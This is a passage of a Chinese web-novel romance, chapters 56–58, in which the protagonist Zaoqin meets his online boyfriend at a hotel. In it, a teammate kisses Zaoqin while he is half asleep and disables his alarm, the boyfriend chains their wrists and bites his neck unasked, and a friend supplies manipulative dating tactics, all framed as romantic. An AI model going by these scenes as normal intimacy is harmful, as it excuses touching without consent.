照片一张又一张弹出来,枣芩一时都惊讶他哪里来这么多照片,枣芩自己的相册里根本没有几张照片。 他忙打字阻止他再发,【我知道你长什么样子,到时候我找你就可以了。】 风:【什么地方见?几点?】 枣芩对附近并不熟悉,本准备用手机查查,忽然反应过来情节中他们距离并不远,对方肯定要比他更熟悉这一块的。 枣芩也就懒得查了,慢悠悠的自言自语,便打字,【你定就可以。】 风:【好。】 枣芩解决完一件事情,浑身轻松,呼出一口气,本想着风应该要好一会才能定好。 结果没两分钟,风就发过来一条信息,【逢情酒店,明早9点怎么样?】 风:【8点好不好,老婆你起得来吗?】 第56章 第 56 章 酣畅淋漓的爬床 八点要到的话, 那肯定要七点、或者七点半就起床。早点睡,定个闹钟肯定能起得来。 但这个不是现在的重点,枣芩小脸拧巴又拧巴, 别别扭扭看着手机。 比起第一次见面就在酒店, 似乎接连不断的‘老婆’才更让枣芩在意。 小猫喵喵:【别这么叫我, 我们都没见过面, 真的很奇怪】 而且很主要的一点是,他对风其实好感并没很多, 也是因为任务才去主动接近他的。 枣芩心里也有点愧疚, 不过没多久风就可以狠狠的打脸他了。 齐封没约过会,枣芩也没有。他比起齐封甚至还多一点经验, 但显然也派不上用场。 两人都没觉得第一次约会在酒店,是件很奇怪、且具有暗示意味的事情。 齐封脑子里只想着,他第一次和小猫见面,想要只有他们两个人面对面, 没有其他人打扰的相处空间。 风:【那好。不叫了,宝宝。】 为什么不能叫?别人都这么叫!就叫老婆。 齐封这么想着也不敢说出来, 只敢在心里想想,他怕万一把小猫喵喵惹生气不出来了。 他认为只要见到面,他的主动权就会变多,起码不用怕对象凭空消失, 退网了。 风:【要见到你了, 真怕今晚睡不着,好想明天快点来。】 风:【你说我要不要今晚就过去?】 风:【你要不要今晚就来啊?宝宝,反正你今天也没事了嘛,我会按摩,给你按按】 …… 枣芩眼看着几句话的功夫, 时间以一个夸张的速度被缩短,从明天早上就快变成现在就见面了。 枣芩被吓到,嘴巴紧咬着,打字坚决拒绝,【不!!】 【今晚不行,明晚可以。】 这样也就不用早起了。 枣芩要改变时间的意图很明显,齐封哽了秒,一通操作下来,不仅没更早,反而还要更晚了。 齐封按着自己的指骨,发出一声脆响,他咬咬牙,迅速妥协,不往关切一句。 【还是明天早上吧,宝宝早点睡觉,一定要睡够八个小时呀,不要累着。】 枣芩手脚都快发软了,慢吞吞打了个哈欠,困意涌上来,窝在被子里打字,【知道了,你也是。】 都不知道那边,枣芩不再回消息后,齐封订好了今晚外加明后天,三天的酒店房间,起身去镜子前检查自己。 他精神亢奋不已,试图平静下来也做不到,哪里还睡得着觉。 他明天就要去见小猫了,不,他十小时之后就要见到小猫本人了。 而且是在现实中,面对面。 镜中,身高腿长的男人审视着自己。平日里绝不是多么注意外表的人,也对自己足够有自信,此时看着镜子却眉头皱起,表情变了又变。 他进健身室折腾了一小时又进了卫生间,最终擦干头发,选好衣服后,又整理了一番。才收拾东西,起身开车去往酒店。 齐封眼睛看似平静又泛着焦躁,他的时间好像被拉长了,第一次觉得难熬。 他坐在酒店的单人沙发上,长腿曲着舒展不开,想给小猫发几条信息,又担心吵醒他,全都打在聊天框里,准备等到八点再发给他。 他希望他的小男朋友可以睡得好,明天可以开开心心来见他。 可是枣芩睡得一点也不好。 他睡得不算晚,不到十一点就睡了,紧闭眼眸,怀里搂着柔软的兔子玩偶,呼吸轻轻柔柔。 但因为睡前他告诉自己不能睡过头,定了闹钟,心理暗示让他无法完全放松的进入睡眠,睫毛都不时轻颤一下。 屋内温度偏高,不盖被子都不冷,他的被子连胸口都没有盖到,搭在腰上,大多都被他夹在腿中间。 裤腿被动作拉扯,露出一截细白小腿。 玻璃窗外冷风呼啸而过,万里无云。 月光透过没有拉窗帘的窗户温和撒在他身上,房间内睡觉的人没有受到一丝影响。 脸颊忽然陷下去一个小坑,紧接着就被一只骨节分明的手,动作有些恶劣的掐住脸颊软肉,但很快故意放轻力度,他并没想把枣芩弄醒。 那人坐在床边,垂眼安静盯着月光下,枣芩投下浅淡阴影的睫毛,以及鼓起弧度的饱满嘴唇。 看起来是很软的。 胸口臌胀的气闷消散些许,他起身去,像是怕月光把睡着的人惊扰,小心翼翼拉上窗帘。 随后看向门口的方向,在原地伫立片刻,又回到了枣芩床边。 他浑身像是在被蚂蚁爬,不做完无法走出这个卧室。 食指试探性轻轻按在了冰凉柔软的下唇肉,比他想的还要软,他喉结无法控制往下滑了滑。 一声轻的好像做梦似的声音,随着呼吸飘出来,还带着迷蒙睡意,“邵京迟?” 空气仿佛被抽干了般凝滞。 邵京迟? 那人收回了手,瞳孔紧缩。 邵京迟!? 今天回来他就隐隐觉得不对,虽然他并没有证据。录完回卧室,他立即上网查了他们俩今天在鬼屋发生了什么,一路摸过去。 枣芩伸手牵邵京迟那一幕直直的撞进了他的眼睛,邵京迟也没松开,还拉着枣芩的手一起走。 再搭配上极其挑动情绪的音乐,以及这两天,硬剪出来的两个人对视时刻,甚至还有他自己的一句“有点嗑他们俩了”,都成了佐证他们早已在一起的实质性证据。 好一对甜甜蜜蜜的小情侣。 他当时都有些喘不上气,在评论区连发了好几条他们根本不熟之类的言论,再发的时候就已经被作者拉黑了,他瞬间被火里添柴。 躺在床上闭上眼睛,都是那两只牵在一起的手。 气焰上头想质问点什么,才来到了枣芩的房间。 其实看到他安安静静睡觉的模样,郑宥所谓的气基本就烟消云散了,毕竟他作为队友,知道两人确实一点关系都没有。 邵京迟对待枣芩也总是冷着脸。 可听到枣芩在被他深夜溜进房间,摸着嘴唇,被弄醒后,完全都没思考就下意识的,说出了邵京迟的名字。 他为什么会觉得大半夜来他房间的人,是邵京迟?! 郑宥脑中轰然。 枣芩单手抱着兔子,坐起身来,够着身子伸手臂准备去开灯。却被郑宥一把推了回去。 枣芩坐回去,眼睛都没彻底睁开,迷迷糊糊并没反应过来,瓮声瓮气:“?怎么了啊。” 在郑宥眼里,就变成了,枣芩哪怕被邵京迟没好气推一把,也只会委委屈屈说怎么了啊。对他什么时候有过这样的态度。 他并不知道这两个人现在关系的进度到哪一步了,这种被背叛的感觉也是他没资格有的,毕竟他们并没有什么关系,就算人家真的在一起了也不关他的事情。 可是。 不算轻薄的被子被骤然掀开,熟悉的、枣芩身上的香味如潮水涌向鼻尖,让他脑子更像被糊住了。 枣芩缩了缩腿,一具携带着男性气息的高大身体,强硬钻进他的被窝,霸占了他大半空间,把枣芩挤得下意识往旁边挪动屁股。 极其细微的一个动作,全然出自本能,他怎么也不会想到,落在先入为主的郑宥眼里,就是熟稔的腾开位置,让他进来。 如果是真的给他腾,他会爽死,可现在他不是他。 外面的冷风更萧瑟了。 所以平日里的冷淡也是邵京迟那b装的,其实两个人早就背着他,不知道在什么时候偷偷搞在一起了。 还装着一副不想和枣芩接触的模样,背地却在偷偷地占便宜。怪不得,枣芩会发那些讲述他们多亲密的言语。 所有人都觉得是假的,都在讥讽枣芩,甚至就连他们内部也觉得他在炒cp。可现在看来,这事完全有可能是真的。 邵京迟就那么任由着别人说枣芩、欺负枣芩。疏离又冷淡,票也不给他投,让枣芩那么尴尬那么不知所措。 背地里又偷偷上他的床! 真是聪明啊,郑宥都想给他鼓掌了。 事业耽搁不了一点,传出去别人只会觉得是枣芩在炒作。好事全让他占了。 只有枣芩这个笨蛋,还要当坏人,乖乖配合他。 郑宥忍无可忍,牙齿磨出声响,声音阴恻恻在耳边,“枣芩,你又傻又可恶。” “……”枣芩错愕的睁大眼睛,慢悠悠说了句,“啊,怎么是你呀。” 话都没说完,隔着层薄睡衣,被一只手臂搂着腰往下一拖,枣芩猝不及防,头枕回了柔软的枕头上,又懵又呆。 怎么了这是? 脸蛋被大手掐住,软肉鼓起,嘴唇被迫挤的分开一条缝,他眨眨眼睛,他还没说什么呢,掐着他脸的人反倒气急说:“真是个笨蛋。” 熟悉的,嘴唇被含住的感觉。 郑宥跨在他身体上方,悬空没压着他,闭着眼睛,皱着眉,姿态恶狠狠咬住他的下唇肉,等到他张嘴,钻空子舔上他湿湿的舌尖。 甜滋滋的几句哼声,让他背都麻了。 表情逐渐痴迷又沉溺,急切吞咽着,又嘬又咬,把一点唇珠都弄得软烂,拨弄着它,想要让枣芩再出点水。 枣芩苦着脸,伸手去推,手指掐着他的宽阔肩膀,用力过度都陷进肉里去。 他脸移动想侧过去,很快又被手扼制住,掰了回去,又闻又蹭,弄得下巴都湿漉漉的。 对方喉咙里,还发出像犬科动物类似的,护食才会发出的声音,粗重的呼吸声。 水声回荡在只有两个人的卧室。 郑宥搂抱着枣芩,翻身躺在枕头上,让枣芩坐在他腰上亲,自己则单手按着他的后背。 枣芩被亲得头晕目眩,指尖都没什么力气,侧过头,蔫蔫的趴在他身上,一副下一秒就要睡过去的样子。 几乎都没察觉到,对方心跳如擂鼓,几乎是本能的,朝他的方向撞了一下。 枣芩身型抖了抖,哼了声,想睡觉被烦得呜呜咽咽。 听得郑宥头皮发麻,感觉自己要死了,边亲,脑子里面像是失控的一样开始乱想。 人怎么能活得这么爽呢…… 枣芩有没有被别人这么亲过呢? 他自己先否认了,肯定没有。 邵京迟那种人一看就是养胃,他配不上枣芩,应该快点分手。 枣芩好像很累,趴在他身上就又睡着了,郑宥一动不敢动,看着天花板。 快乐与痛苦并存。 他不敢用枣芩的卫生间,怕留下味道让他生气,用此生最轻最小心的动作,把他放回枕头上,掖好被子。 一个吻轻轻落在鼻尖。 枣芩身侧的兔子被他随手丢在了床尾,如果不是怕弄脏他还要抱,就扔地上了。 郑宥的灯亮了许久,他的时间过得很快,无意瞥向窗外的时候,天已经变成浅蓝色。 枣芩不知道自己做了什么梦,甚至都不知道自己睡了一觉,他最后一秒还在想,这就是任务一吗? 第二天他是自然醒,枣芩没有拉窗帘的习惯,一般睁开眼睛阳光都在眼前,今天却是暗色的。 窗帘被拉的严严实实,枣芩不知道具体时间,他喉咙有些烧得疼很不舒服,他舔了下唇,立马疼的轻轻吸了口气。 枣芩摸到手机到眼前,他没有听到闹铃声,大概是还没响吧。 半睁着眼看到时间的时候,枣芩瞬间被冷水浇头似的,脑子嗡嗡响。 手机上显示的时间已经10:30了。 第57章 第 57 章 不到1米的银色链子…… 他们定的是八点……对吧? 枣芩往下一看, 是已经堆积了几十条的信息,他手指颤了一下才点开,都没敢看上面的内容, 恍惚地打字:【你已经到了吗?】 他发出去, 没有立即收到回复, 枣芩把手机放在床头柜上, 赶紧起来在衣柜找出衣服,往身上套。 随后想起来自己还没洗漱, 又脱下外套去卫生间迅速洗漱完, 一套流程下来才用了不到十分钟。 虽然看着手忙脚乱匆匆忙忙、但也已经收拾好可以出门了。 枣芩拿起手机,边往外走边看。 风两分钟前回了他: 【你说呢?】 像是为了显得没那么刻薄, 又加了句,【宝宝】。 风:【?怎么又不回了?】 风:【人呢?人呢?人呢?】 枣芩被这三连搞得睫毛直抖,快汗流浃背了,连忙打字:【我刚刚去洗漱穿衣服了, 我已经在车上了。】 事实上,枣芩才刚刚推开卧室门, 焦急的要走,差点撞上了门口的人。 他猛然抬起头,郑宥对上他,眼神有些飘忽, 微微侧过头, 金色发丝掩盖下的耳根通红。 不知道是刚好来找他,还是已经在门口等了许久。 “你约了人?”郑宥开口问。 听到他的声音,枣芩就瞬间想到昨晚的事情,他此时嘴唇还隐隐泛着疼,他下意识抿了下, 点点头,“你有事找我吗?” 他已经骗人说自己在车上,没时间再闲聊。 郑宥连忙摇头,退开半步,摸着自己的鼻尖,声音放得很轻,“没什么事情,就是、记得早点回来。” “好。”枣芩仓促回答,从他身旁离开,随手关上卧室门,穿上鞋就出去了。 郑宥看着他背影急促的离开,背松懈贴在墙上,唇角不自觉勾起一点弧度,又来到客厅的落地窗边,望着楼下。 等待着枣芩小小身影的出现,又看着他小跑着离开。 直到枣芩白色的身影消失不见,他的心虚才后知后觉涌上来,手指攥紧。 枣芩知道手机闹铃是他关的,不会生气吧。 想到这里,他忽然忍不住笑了声,怎么可能生气,他们都已经是那种关系了。 虽然没有说破,但确实也只差一层薄薄的窗户纸了。 郑宥转身朝自己房间走去,他看到了枣芩脏衣篓有几件衣服,打算把自己的也找出来洗洗。 身后蓦然传来开门声。 邵京迟刚好从他自己房间出来,眉眼冷淡,清瘦手里拿着一个玻璃杯。 郑宥侧头看着邵京迟进了厨房。水声响起,邵京迟在洗一个看起来只喝过白开水的干净杯子,龟毛的不行。 心中转瞬即逝,有个找邵京迟把他和枣芩的关系说清楚的念头,但也只是一闪而过,当着邵京迟的面,他转身正大光明,故作熟稔进了枣芩卧室。 邵京迟面无表情洗杯子的动作迟缓,掀起眼皮扫了眼,将桌面上溅到水的边缘擦干,又洗了遍手才回屋去。 冬日空气萧瑟。 枣芩坐在出租车后座,围巾将脸蛋遮了大半,虽然枣芩是觉得就算不遮,也没什么人能认出他,但以防万一。 他盯着手中的手机,风的消息又弹出来了,【不是在车上了?这么久,你住郊区吗?】 枣芩不敢耽搁,咬着唇,手冷到不想打字,小声发了条语音,“已经快到了。” 过了半分钟。 风:【位置共享。】 枣芩的小图标朝着风的小图标不断靠近,很快就距离不到二百米了。 马路边枣芩下车关门,今天没有下雪,地面却依旧有之前下雪残留下来的水迹,冷空气席卷着从他身上每一个缝隙钻入。 枣芩哆嗦了下,小跑着进酒店上电梯,酒店内暖气很足,立马就回温了。 从另一个电梯下来戚泽身高腿长,戴着墨镜,身旁跟着助理,一副张扬的明星样。 往外走的过程中,透过电梯即将合上的空隙,他视线随意往里面瞥了眼,眉头不禁皱起。 枣芩半低着脑袋,被冻得有些发红的鼻尖往围巾缩,视线盯着地面,满脸忧愁,压根没注意到他。 枣芩在想见到风,自己该怎么说,是不是要说闹钟失灵了。 或者就直接不解释,反正他的人设就该坏坏的。 到了门口,两个人的头像已经几乎叠在了一起。 枣芩轻轻呼出口气,还没踌躇两秒,门就突然从里面被拉开,热气扑面涌出来。 枣芩眼睛睁大,出现的男人手撑在门框发出声响,英俊面容死气沉沉盯着枣芩,随后,瞳孔又猛地僵住。 一时之间,两个人僵持在门口面面相觑。 枣芩也想保持住自己的人设,可被因为自己迟到而焦急等待两个多小时的受害者盯着,还是禁不住垂眼躲开视线,手指抓紧衣服布料。 脑子里乱乱的。 半晌,齐封轻咳了声,一脸淡定矜持的让开,“进来吧。” 他定的是套房,看起来很豪华,卧室门开着,可以看见里面的大床上有躺过的痕迹,还放着个不认识的品牌袋子。 枣芩攥着自己的衣服,慢吞吞迈步进去。里面温度很高,再加上他紧张的缘故,这么一会,他背后都已经开始发热了。 齐封在他身后关上了门。 枣芩回头看了眼,观察着四周。正准备坐在单人沙发上,齐封一个箭步过来,把长沙发上放着的大袋零食,放在了单人沙发上,示意枣芩坐长沙发。 枣芩僵了僵,乖乖坐在沙发角落。小声嘟囔了句,缓解尴尬,“今天外面好冷啊。” 边说着,他绕了一圈围巾,解下来放在旁边,开始脱厚重的外套。 荏弱白皙的锁骨露出来,连带着他身上的香味,飘到齐封身旁。巴掌大点脸上,不知道被冻的还是被蒙的,红红粉粉,唇红齿白。 眼睛偷偷看他的时候,像是知道自己做错了什么事,闪烁着心虚。 好几个小时的心理折磨,坐立难安,像是被蚂蚁爬一样挠头发,几次都想骂人,像个神经病一样狂打问号,却像是沉入海底的石头,收不到一点回应。 在开门看到他,包得像个小包子,露着一双水润眼睛的那一刻全变成了先苦后甜的苦。 仿佛是经历了磨难跟检验才能见到公主,他已经通过了。 他不想把自己表现的很舔,一来就跟个狗一样立马贴上去闻味儿。关磊毕竟恋爱经验丰富,说那样会显得很不值钱。 齐封打心底自己也认同这句话,昨晚还让关磊帮着出了些招,第一要义就是不能廉价。 “齐封。”他身材轮廓优越,站在枣芩斜前方,“我的名字。” 枣芩点点头,白葱似的手放在黑色沙发上,蜷了起来,应声说,“我叫枣芩。” 已经恋爱的两个人,在酒店见面,才知道了对方的名字。 两个人都不热情,看起来根本不像情侣。 齐封坐在枣芩身旁的位置,因为身材原因存在感很强,周围的空气仿佛都被他占据,他懒散靠在沙发上,说:“我还以为你不来了。” 果然还是到这一刻了。 枣芩不尴不尬笑了下,小声说:“手机没叫我,他们也没一个人叫我,所以睡过头了……” “睡过头了?”齐封挑挑眉,看着他垂下头的样子,心里暗爽,被可爱到牙根发痒。 只是,他忽然意识到一个关键词,眼神变了变,“他们?” 枣芩这个名字从记忆某处钻出来,盯了枣芩好一会,他嘴角的笑意忽然落下去,他若无其事拿起一旁的手机,不忘和枣芩说:“没事,我也没等多久。” 枣芩:…… 那发那么多消息,吓死人了。 齐封在聊天框查枣芩的名字,不久前两人聊天的记录展现在眼前,他滑动几下,自己曾经的回答尽收眼底,瞳孔骤然紧缩。 他缓缓把手机按灭,深邃眉眼有点恍惚。 靠…… 他回答了什么? 他说枣芩哗众取宠……不值得喜欢…… 而枣芩,还没生气,继续跟他处了。有时候,人真的会想弄死自己。 齐封去看枣芩,枣芩被盯得忍不住躲闪视线。 他在想,宝宝不会觉得我讨厌他吧。 等这么久是应该的,受折磨也是应该的,馅饼砸头上他都分不清是什么东西。 他朝着枣芩挪进距离,一时之间,也顾不上什么保持矜持形象了,齐封想给自己挽回一下,“宝宝好巧,我不认识你的时候就对你有好感,刚刚我就是太惊喜了。” 枣芩表情有些错愕,迟疑说:“我还以为、你不太喜欢我。” 完了,是真的觉得自己讨厌他。 齐封立马又靠近他一点,高大身形把枣芩挤在沙发小角落,他忙不迭解释,“我之前说那些,我其实是因为讨厌你们团里的那个邵什么,我不讨厌你。我其实很喜欢你,我当时就是,一下眉反应过来。” …… 枣芩眨巴眼睛,“哦,这样啊。” 一副不是很相信的样子。 “真的。”齐封心里被他搞得很慌,他想起什么,忽然拉起枣芩的手,带着他往卧室里面走,说:“我给你带了礼物。” 枣芩刚被拉起来的时候有点被吓到,往外挣自己的手,可听到礼物,就有点好奇了。 他小声问:“什么礼物啊?” 枣芩不明不白跟着他进了卧室。 卧室床帘被拉了大半,比起客厅暗很多。里面还有个透明的卫生间,里面空间很大,还有浴缸。 枣芩扫了眼,被齐封大手拉着到床边,按着肩膀坐在雪白床上。 齐封拿起在床上的袋子,在里面翻出盒子打开,是一串像是手链又不像的东西。 枣芩有些茫然歪着脑袋看,辨别不出这是给哪里戴的。 紧接着,齐封托起他的手腕,将手链一端扣上去。银色设计感丰富的手链让腕骨显得更漂亮,可是下面居然还坠着一长串。 “怎么这么长啊,这是干什么用的?”枣芩奇怪问。 很快,他就知道了用处。 齐封将另一端系在了自己手腕上,往后退了两步,两人中间拉起一条不到1米的银色链子。 看起来,简直像手铐一样。 枣芩:…… 齐封似乎对自己选择的礼物很满意,“这是我昨天晚上看到的情侣特款,今天早上就让他们送过来了,这样我们的距离就可以不到一米。” 他看着枣芩轻轻蹙着的眉心,雪白剔透的手腕,忽然有些失神。 枣芩身后就是大床,房间只有他们两个人,他们还是情侣关系。 他终于觉得,第一次见面在酒店好像不太好,胸口灼烧之感没来由的烧得他脑子发热。 呼吸逐渐粗重起来,中间的链条微微晃动,发出微不可察的轻响,像是他的心弦在被波动。 枣芩察觉气氛不对,站起来想往外走,还没走两步,就被中间的链条牵制住,手腕无力被拽着,勒出一点白痕, 齐封两眼发直,只轻轻一拉,枣芩就跟着后退了两步,转头没好气似怒似嗔的瞪着他,眼睛跟含了水似的。 嘶…… 第58章 第 58 章 教你亲嘴,好不好 这种灼热又有点怪异的气氛, 配合着齐封如炬目光,让枣芩本能有种想跑的冲动,他本能有点怕。 他不想在卧室待, 看了眼客厅的方向, 语气有些克制不住的慌, “我今天醒来到现在还没有吃饭, 有点饿了。” 是借口不让刚才的氛围延续下去,也是真的饿。 肚子里空空荡荡, 早已经呼唤他好几回了。 被他隐隐恳求的眼神看着, 齐封视线不由得滑到他被衣服遮挡,依旧看得出平坦的腹部。立马被枣芩带跑偏, 打断了他自己都没察觉出来的越界想法。 “你还没吃饭?”他缓了两秒,也知道枣芩看到他的信息轰炸,肯定一醒来就立马赶过来了,没来得及吃东西, 一直饿着肚子。 他难免心疼了,起身拉着枣芩到客厅找到手机, 拉着他坐在沙发上,“我马上点。” 枣芩摇摇头,“不用,我回去吃。” 齐封听到他的话, 手上的动作迟钝了下, 随后当着枣芩的面,飞快全点上,也不用问他喜欢吃什么了。 他把手中的手机给枣芩看了眼,一脸平静说:“不小心点完了,好像退不了。” 枣芩张口结舌, 摸了下肚子没说话。其实他就算回去也确实不知道该吃什么,打算在路上找个店吃。 酒店的速度比枣芩想得快得多,齐封真的点了很多,琳琅满目的菜式,让枣芩眼花缭乱。他们选完,把一部分推走之后,依旧留下一大桌。 椭圆形大理石饭桌并不大,只够三五个人挤挤坐一桌,但如果是齐封这个体型,这种宽阔平直的肩背,可能挤不下。 齐封左手姿势奇怪的给枣芩夹菜,因为不肯卸下手链,宁愿用左手吃饭。 枣芩吃着,只觉得好莫名其妙:…… 一起吃饭,确实很能升温人的感情,让人变得熟悉。 仅仅一顿饭下来,枣芩就对齐封这人多了一些了解,比如说齐封有一张饕餮大嘴。 他给枣芩夹菜,枣芩一口还没吃完,他下一筷子就来了。枣芩只能鼓着嘴巴摇头拒绝,表示他不要了,已经够了。 齐封问他还吃不吃这道菜了,他刚摇摇头,对方就像得了圣旨,三两口就把剩下的全部扫荡干净,跟一阵大风刮过似的。 枣芩也确实吃东西胃口很小,或许是因为他吃东西的时候,喜欢喝饮料。 几口饮料下去就快饱了,没一会就吃撑了,他懒懒的靠在椅子上,还在小口喝果茶,白净脸上因为吃饱喝足而红润起来。 酒店的工作人员将餐盘收拾出去,恢复一片干净。 坐在沙发上,齐封单手握着遥控器操作,一只手臂放在枣芩背后沙发上,说要找个东西看。 他视线却并没在电视机上,若无其事轻飘飘问:“我要去刷牙,你去吗?” 枣芩其实想走了,他的任务已经完成,饭也吃了,该回家了。 听到齐封的话愣了愣,“刷牙?” 他的牙齿不干净吗? 枣芩抿住嘴唇,在对方的注视下,一下拘束起来,“……嗯。” 大镜子里,枣芩蜜糖似的眼睛亮亮的,睫毛乌暗半遮,垂眼拿着牙刷认真刷牙。 一旁身形宽阔的齐封左手刷牙,眼睛盯着镜子里的枣芩,若有所思,想着想着,莫名害臊的挪开视线。 枣芩浑然不知他过剩的想法,刷完牙,嘴里还残留着酒店牙膏的薄荷味,跟着齐封回到沙发上,看到自己的围巾他才想起自己应该走了。 枣芩想先把手腕上禁锢他的手链卸下来,却被骨节分明的大手握住阻止。 枣芩的手背微凉,皮肤细腻,透出血管若隐若现的蓝紫色,腕骨起伏都无可指摘的好看。 齐封脖颈弯了一下,想凑近闻闻,又及时克制住。 温暖的气息烘托下,齐封嗓音沙哑,有点惊讶的说:“你的手好小啊,比我白好多,平时不出门晒太阳吗?” 枣芩因为他靠近的气息而躲了下,耸了下肩膀,回答:“不太喜欢出门。” 枣芩这句话不知道是哪里让他很开心,齐封不由自主弯了下唇,摸着他的手,口吻沾点哄骗意味,“也没和之前的男朋友出去玩过吗?” 总感觉有点熟悉的口吻让枣芩咬住了嘴唇,随后没有半点心虚的说:“我没有过男朋友呀。” 【宝宝越来越熟练了(认真)】 【之前的都是过往云烟,往事不要提好吗?】 【别问了,直接抱在怀里亲,好吗?好的。】 【就是,两个人在酒店里……应该干点,】 【不许!!不可以!我不允许啊。不准。】 脑子热腾腾反应了好一会,才知道枣芩说的是,他之前没有谈过恋爱。他心脏扑通扑通乱跳,情绪高亢起来。 “我也是。”齐封停顿下,“你是我第一个对象,之前我都不知道我喜欢什么样的,我现在知道了,……我喜欢你。” 他火热视线盯着,枣芩有点无所适从不敢和他对视,低低“哦”了声。 枣芩没想到他下一句会是,“你来的时候,嘴唇就红红的,像是被亲过一样。”!!枣芩下意识伸手,手背挡住自己的嘴唇,链子跟着作响。 齐封脑子浆糊,没觉得他动作什么不对,还觉得可爱,忍着冲动,“你亲过嘴吗?” 枣芩没动作,他亲过,但他又不是傻瓜,他才不会说出来。 漂亮的眼睛敛着,看起来好害羞的样子,脸上散着很淡的红晕。 齐封轻轻吸气,他能闻到枣芩唇缝透出同样的的薄荷味,以及枣芩自己的好闻味道。 他凑过去低声说:“我教你怎么亲嘴,好不好?” …… “我要回家了、”枣芩解开手链,原本系着他的那一端掉在了两人身体之间的缝隙。 他抓起自己的围巾和外套,站起身,有些惊惶,“我、我经纪人不让我出来太久。” 空气沉默片刻。 齐封别扭的调整了下自己的坐姿,把自己手上的手链也解下来,放在手心。 他整个耳朵红得像烧着了,好像还没缓过来,眼神有点发愣。他到枣芩身边说:“可以绕一圈戴手上,也还好看。” 枣芩看出他没不悦,放松许多,任由他抬起自己的手腕,一圈一圈绕上去,松散堆积在细瘦手腕上。 枣芩收起手腕,“那我先走了。” 齐封开口:“嗯……我开车送你。” “不麻烦你了,我可以自己回去。”枣芩连忙摆手,不想让他觉得自己不想让他松,还补充:“我们那里可能会有人偷拍到。” “那我先走了。”他转过身打算穿上外套出去。 猝不及防,被灼热身体从后面抱住,气息萦绕耳后,齐封埋头在他白皙脖颈处嗅了嗅。 枣芩身体轻颤,手指蜷起来,想着抱一下应该就结束了,就没挣扎。 结果怎么也没想到,热腾腾的气息喷在枣芩皮肤上,后脖颈突然传来一阵疼痛,他没忍住短促“啊!” 他后颈被齐封咬了口。 他本来还觉得齐封表现是个正常人,甚至还不错,怎么也不会想到,临走时,居然突然变异咬了他一口。 他都顾不得疼痛。 枣芩捂着脖子,抖着睫毛,不敢置信转身看他,“你干什么咬我啊?” 齐封舔了下唇,自己也有点愣,半晌说出来一句,“我、你也咬我吗?” 说着,要侧头靠近枣芩给他咬。 “谁要咬你!你脑子不好。”枣芩转身眼睛雾气弥漫,飞快套上衣服,一秒钟也不敢多留。 齐封瞬间急了,要跟上去。 门“砰”一声关上,传来一句,“别跟我!” 他高大身体手足无措站在门口。 我靠,完了,下嘴好像重了。 他想追上去道歉,偏偏枣芩还不让他跟上去。 他都是按照关磊教的来的,说他的手小,不要过度亲密接触,不能第一晚过夜,走的时候要温存一下。 在他离开之前,从后面抱住他,轻咬他的脖颈或耳朵或嘴唇,视情况而定。 教的什么玩意儿? 他打开手机,两个人的位置共享没有关,他一点点看着枣芩离他越来越远,本想偷看枣芩住哪里,找机会偶遇。 结果下一秒,枣芩那边就退出了位置共享。 【宝宝,我咬疼了?】 枣芩不回。 他眉头皱着,在客厅里踱步,又给他的军师发消息,大概讲了一下发生了什么,枣芩又是怎么生气的。 关磊:【活该】 齐封:【?】 一个转账发出去。 关磊:【咬一下能多疼,应该不是这个原因。】 关磊:【我给你分析一下,简单来说就是,你让他感觉到了被冒犯,这一步应该放在下次见面,我也没想到你们两个这么不熟啊,你不能怪我,还要培养培养。】 【这招数是怎么用的呢,你要让他觉得你对他有好感,但不是说什么听什么的那种舔狗。要让他对你升起好奇心,又不解答。在他以为你什么都不做的时候,再做点亲密动作,他肯定会很上头,回去天天都想着你。】 齐封:【够了,你先告诉我现在怎么办。】 关磊:【……你先让我想想。】 枣芩揉着自己的后脖颈,难受极了,坐在出租车上,直想哭。 网约车司机透过车内后视镜直勾勾盯着他,眼睛黑洞洞,在枣芩看向他时,露出一个笑容,还有点害羞似的,躲开了他的视线。 枣芩浑身悚然,脊背爬上一种不适感,被吓得都不敢动作了。 一回去就头也不回钻进卧室,脱衣服整个蒙被子里了,一直过了半小时都没动静。 郑宥在客厅等着他,回来看他的样子很担心,按捺不住来敲门,声音透过门不太清晰,“你、芩芩……我能进来吗?” 芩芩对他来说,叫起来并不顺口,他没叫过人亲密的叠字。 枣芩听见了,丧着脸没回话。 他在卫生间镜子前,姿势别扭的看后脖颈,那里还有个大牙印子,到现在都没消,看得出齐封那个讨人厌的,咬的有多用力。 他鼻子发酸,眼睛有点红,但没有流眼泪。用湿毛巾擦拭几下,就愤愤丢在水池里。 他转头趴回床上去了。 “你睡了?”郑宥还在喊他。 枣芩到没迁怒他,只是不知道怎么说。 难道他要说,他偷偷网恋,第一天出去见面,被咬了口? 他表情太可怜了,系统禁不住开口提醒,【要用药吗?】 他也没想到,自己会因为玩家被咬了一口,血都没有见,只留下一些印子,就提醒他用药。 枣芩都忘记了,恍然说,【当然要!】 他翻看自己的道具,他道具多又厉害,都是不该这个阶段有的。很多都大材小用,他想了想,没舍得。 很有规划性的小声嘀咕:“万一以后受大伤,没有了怎么办。” 这么一想,好像也没有很疼。 被遗忘在一旁的手机上,消息一条一条发来,枣芩躺在床上,拿起来先打开了齐封的。 【宝宝,对不起,咬疼你了。我一下没收住,真的对不起,我错了。】 【我没忍住自己的冲动,我简直是个野兽。】 【我一想到咬疼你就很愧疚,我哭了,我也很难受。】 【转账十万元】 【还疼吗,我给你买点药吗?】 枣芩抿着嘴巴,前面没什么感觉,看到他说自己哭了,指尖缩起来。 不会吧…… 他点了收款,回了条,【疼,不买,你睡觉吧。】 窗外还没暗下去,枣芩说让他睡觉,只是因为看出来他昨天应该没睡好。 郑宥和戚泽也给他发了消息。 郑宥说今天给他洗了衣服,枣芩去看,脏衣篓的衣服果然已经没有了。 在原本要求的剧情中,负责给他洗衣服、收拾房间的应该是齐封才对。 但现在还没有到他让齐封给自己当保姆那块,这些首先就被郑宥干了。 枣芩站在原地,思考了一会儿。 算了,还是按照原本的走吧。 下午助理买来了甜点,一份一份拿出来放在餐桌上。餐桌上不知道谁放着个干净白盘子,除此之外就什么也没有了。 枣芩穿了一件半高领的宽大毛衣,没有高到卡脖子,刚好遮挡住后脖颈上的咬痕。 他坐在自己的位置上,等待自己的那份。 却发现助理只买了三份,枣芩观察了下,邵京迟没有出来。他好奇问旁边的郑宥,郑宥语气并不友好,“他那性格事多,嫌外面东西不干净,特别龟毛,我就不洁癖。” 话题没有预兆的转移,他试探说:“你今天去见什么朋友了?回来就不开心。” 枣芩放下叉子,动手把蛋糕盒子打开,含糊其辞又小声,“没有不开心啊,就是有点累了。” 